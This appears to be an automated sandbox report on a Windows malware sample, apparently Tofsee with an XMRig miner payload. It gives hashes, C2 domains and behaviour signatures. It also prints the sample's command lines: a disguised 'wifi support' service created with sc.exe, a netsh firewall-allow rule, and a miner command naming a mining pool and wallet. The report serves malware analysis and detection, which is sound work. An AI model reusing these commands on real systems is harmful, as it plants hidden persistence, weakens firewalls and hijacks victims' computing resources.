Analysis

  • max time kernel
    141s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    17/09/2023, 16:58

General

  • Target

    file.exe

  • Size

    227KB

  • MD5

    968d7b91a331234c30946bf3b6834e85

  • SHA1

    b8fd455add6140b20fbb1244d9cd33a7cec9f85b

  • SHA256

    c5fc6da4ebc5e3685e3b4d162d52a0688edfd1dae0d202a921b470cb7dd08cf9

  • SHA512

    e5b0987e099c8735da2ca5b5d7913735f0923bce8226937466fa967babf25e4a71537fea81e354b95fa08e260c401042177abea6e323a1016e306e49c9ae0629

  • SSDEEP

    3072:WEL7fZAMg8P9yo8ZGkAlhk/V3yDBzAlz:pfmMg5o8ZuKiDRA

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3044
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\eskdzxgb\
      2⤵
        PID:2820
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ryxkssae.exe" C:\Windows\SysWOW64\eskdzxgb\
        2⤵
          PID:3056
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create eskdzxgb binPath= "C:\Windows\SysWOW64\eskdzxgb\ryxkssae.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2748
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description eskdzxgb "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2308
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start eskdzxgb
          2⤵
          • Launches sc.exe
          PID:2896
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2856
      • C:\Windows\SysWOW64\eskdzxgb\ryxkssae.exe
        C:\Windows\SysWOW64\eskdzxgb\ryxkssae.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2792
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2616
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1720

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\ryxkssae.exe

              Filesize

              13.2MB

              MD5

              8b1800d07c0712204f87f634a69bb7ee

              SHA1

              7332c9713e5a960b2641477162283e100bf4a05d

              SHA256

              c97f702fc12e66443e9ab6736159901a9e58ef055bbe0955925ae9a36c11c49f

              SHA512

              3d59045933a5fdb4da924f9cb3a3f8a69a200f2df45fb1af077b94ea2385f014780ebf274a9942fbbb8824ede614c57c6444a8efb9c0aa0a47f95614a6221c83

            • C:\Windows\SysWOW64\eskdzxgb\ryxkssae.exe

              Filesize

              13.2MB

              MD5

              8b1800d07c0712204f87f634a69bb7ee

              SHA1

              7332c9713e5a960b2641477162283e100bf4a05d

              SHA256

              c97f702fc12e66443e9ab6736159901a9e58ef055bbe0955925ae9a36c11c49f

              SHA512

              3d59045933a5fdb4da924f9cb3a3f8a69a200f2df45fb1af077b94ea2385f014780ebf274a9942fbbb8824ede614c57c6444a8efb9c0aa0a47f95614a6221c83

            • memory/1720-62-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/1720-77-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/1720-76-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/1720-75-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/1720-74-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/1720-73-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/1720-72-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/1720-64-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/2616-37-0x00000000001C0000-0x00000000001D0000-memory.dmp

              Filesize

              64KB

            • memory/2616-42-0x00000000001C0000-0x00000000001D0000-memory.dmp

              Filesize

              64KB

            • memory/2616-15-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2616-19-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2616-20-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2616-22-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2616-23-0x0000000001A10000-0x0000000001C1F000-memory.dmp

              Filesize

              2.1MB

            • memory/2616-26-0x0000000001A10000-0x0000000001C1F000-memory.dmp

              Filesize

              2.1MB

            • memory/2616-27-0x00000000000A0000-0x00000000000A6000-memory.dmp

              Filesize

              24KB

            • memory/2616-30-0x00000000001C0000-0x00000000001D0000-memory.dmp

              Filesize

              64KB

            • memory/2616-33-0x00000000001C0000-0x00000000001D0000-memory.dmp

              Filesize

              64KB

            • memory/2616-34-0x00000000001C0000-0x00000000001D0000-memory.dmp

              Filesize

              64KB

            • memory/2616-35-0x00000000001C0000-0x00000000001D0000-memory.dmp

              Filesize

              64KB

            • memory/2616-36-0x00000000001C0000-0x00000000001D0000-memory.dmp

              Filesize

              64KB

            • memory/2616-12-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2616-39-0x00000000001C0000-0x00000000001D0000-memory.dmp

              Filesize

              64KB

            • memory/2616-38-0x00000000001C0000-0x00000000001D0000-memory.dmp

              Filesize

              64KB

            • memory/2616-40-0x00000000001C0000-0x00000000001D0000-memory.dmp

              Filesize

              64KB

            • memory/2616-41-0x00000000001C0000-0x00000000001D0000-memory.dmp

              Filesize

              64KB

            • memory/2616-13-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2616-43-0x00000000001C0000-0x00000000001D0000-memory.dmp

              Filesize

              64KB

            • memory/2616-44-0x00000000001C0000-0x00000000001D0000-memory.dmp

              Filesize

              64KB

            • memory/2616-45-0x00000000001C0000-0x00000000001D0000-memory.dmp

              Filesize

              64KB

            • memory/2616-46-0x00000000001C0000-0x00000000001D0000-memory.dmp

              Filesize

              64KB

            • memory/2616-47-0x00000000001C0000-0x00000000001D0000-memory.dmp

              Filesize

              64KB

            • memory/2616-48-0x00000000001C0000-0x00000000001D0000-memory.dmp

              Filesize

              64KB

            • memory/2616-49-0x00000000001C0000-0x00000000001D0000-memory.dmp

              Filesize

              64KB

            • memory/2616-50-0x00000000001D0000-0x00000000001D5000-memory.dmp

              Filesize

              20KB

            • memory/2616-53-0x00000000001D0000-0x00000000001D5000-memory.dmp

              Filesize

              20KB

            • memory/2616-54-0x0000000005AB0000-0x0000000005EBB000-memory.dmp

              Filesize

              4.0MB

            • memory/2616-58-0x00000000001E0000-0x00000000001E7000-memory.dmp

              Filesize

              28KB

            • memory/2616-57-0x0000000005AB0000-0x0000000005EBB000-memory.dmp

              Filesize

              4.0MB

            • memory/2792-16-0x0000000000400000-0x0000000000707000-memory.dmp

              Filesize

              3.0MB

            • memory/2792-11-0x0000000000400000-0x0000000000707000-memory.dmp

              Filesize

              3.0MB

            • memory/2792-10-0x00000000002D0000-0x00000000003D0000-memory.dmp

              Filesize

              1024KB

            • memory/3044-1-0x00000000007F0000-0x00000000008F0000-memory.dmp

              Filesize

              1024KB

            • memory/3044-9-0x0000000000220000-0x0000000000233000-memory.dmp

              Filesize

              76KB

            • memory/3044-7-0x0000000000400000-0x0000000000707000-memory.dmp

              Filesize

              3.0MB

            • memory/3044-4-0x0000000000400000-0x0000000000707000-memory.dmp

              Filesize

              3.0MB

            • memory/3044-2-0x0000000000220000-0x0000000000233000-memory.dmp

              Filesize

              76KB